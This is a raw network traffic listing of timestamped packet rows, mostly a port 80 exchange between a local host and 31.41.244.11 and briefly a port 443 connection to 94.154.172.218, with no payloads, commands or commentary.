Dec 12, 2024 14:26:29.695337057 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.695378065 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.695442915 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.695483923 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.696090937 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.696135998 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.696221113 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.696264029 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.696929932 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.696973085 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.697221041 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.697258949 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.697967052 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.698009968 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.698424101 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.698477983 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.698618889 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.698658943 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.698757887 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.698796988 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.699619055 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.699661970 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.700419903 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.700464010 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.700790882 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.700829983 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.700869083 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.700906992 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.701562881 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.701602936 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.701739073 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.701778889 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.702555895 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.702595949 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.702681065 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.702721119 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.703353882 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.703394890 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.703433037 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.703471899 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.704046965 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.704057932 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.704088926 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.704103947 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.704787016 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.704876900 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.704902887 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.704920053 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.705538034 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.705576897 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.705672026 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.705709934 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.706486940 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.706523895 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.706621885 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.706675053 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.707418919 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.707459927 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.707623959 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.707663059 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.708228111 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.708271027 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.708312988 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.708354950 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.709038019 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.709094048 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.709139109 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.709182978 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.709887981 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.709929943 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.709965944 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.710036039 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.710665941 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.710712910 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.710752964 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.710791111 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.711642027 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.711687088 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.711828947 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.711869955 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.712860107 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.712882042 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.712905884 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.712923050 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.713588953 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.713634014 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.713658094 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.713697910 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.714633942 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.714683056 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.714715958 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.714756012 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.715552092 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.715591908 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.715626955 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.715662956 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.716917992 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.716962099 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.717307091 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.717348099 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.717803001 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.717847109 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.717911005 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.717958927 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.718769073 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.718813896 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.718902111 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.718941927 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.719768047 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.719822884 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.720019102 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.720065117 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.720817089 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.720874071 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.720900059 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.720949888 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.721826077 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.721847057 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.721868038 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.721899033 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.722882032 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.722925901 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.723130941 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.723176956 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.723912001 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.723927975 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.723963022 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.723989010 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.724625111 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.724685907 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.724692106 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.724730968 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.725368977 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.725419998 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.725438118 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.725485086 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.726174116 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.726222992 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.726233959 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.726272106 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.726969957 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.727040052 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.735506058 CET	49813	443	192.168.2.4	94.154.172.218
Dec 12, 2024 14:26:29.735532999 CET	443	49813	94.154.172.218	192.168.2.4
Dec 12, 2024 14:26:29.872307062 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.872425079 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.872448921 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.872505903 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.872621059 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.872632027 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.872658014 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.872677088 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.873153925 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.873166084 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.873189926 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.873209953 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.873939991 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.873963118 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.873982906 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.874012947 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.874816895 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.874829054 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.874855995 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.874881983 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.875735998 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.875778913 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.875813961 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.875848055 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.876487970 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.876499891 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.876523018 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.876558065 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.877408981 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.877419949 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.877450943 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.877477884 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.878397942 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.878410101 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.878446102 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.878480911 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.879220963 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.879232883 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.879262924 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.880047083 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.880059958 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.880090952 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.880122900 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.880841017 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.880853891 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.880886078 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.880916119 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.881632090 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.881675005 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.881706953 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.881748915 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.882544994 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.882585049 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.882719994 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.882767916 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.883497000 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.883538961 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.883563995 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.883603096 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.884452105 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.884496927 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.884639025 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.884681940 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.885215044 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.885257959 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.885369062 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.885407925 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.886234045 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.886248112 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.886279106 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.886305094 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.887201071 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.887212992 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.887244940 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.887269974 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.888020992 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.888062000 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.888112068 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.888154030 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.889081001 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.889092922 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.889128923 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.889158010 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.890059948 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.890072107 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.890105009 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.890137911 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.890818119 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.890858889 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.890996933 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.891037941 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.891535044 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.891575098 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.891613960 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.891653061 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.892365932 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.892416000 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.892497063 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.892535925 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.895560980 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.895577908 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.895596027 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.895606995 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.895610094 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.895621061 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.895632029 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.895634890 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.895651102 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.895694017 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.895853043 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.895922899 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.896070004 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.896161079 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.896979094 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.897018909 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.897176981 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.897214890 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.898000002 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.898042917 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.898171902 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.898211956 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.898667097 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.898679972 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.898706913 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.898727894 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.899523020 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.899563074 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.899710894 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.899755955 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.900382996 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.900446892 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.900552988 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.900595903 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.901354074 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.901396036 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.901524067 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.901565075 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.902240992 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.902252913 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.902280092 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.902312040 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.903053999 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.903098106 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.903244019 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.903286934 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.904160976 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.904216051 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.904331923 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.904367924 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.904918909 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.904961109 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.905075073 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.905111074 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.905855894 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.905901909 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.906013012 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.906049967 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.906802893 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.906842947 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.906960964 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.907000065 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.907613993 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.907654047 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.907759905 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.907803059 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.908463955 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.908509970 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.908627033 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.908667088 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.909281015 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.909324884 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.909441948 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.909480095 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.910162926 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.910175085 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.910202026 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.910218954 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.911138058 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.911178112 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.911298037 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.911331892 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.912147045 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.912189007 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.912286997 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.912326097 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.912985086 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.912997961 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.913026094 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.913043022 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.913788080 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.913849115 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.913949013 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.913986921 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.914740086 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.914752007 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.914783001 CET	49801	80	192.168.2.4	31.41.244.11
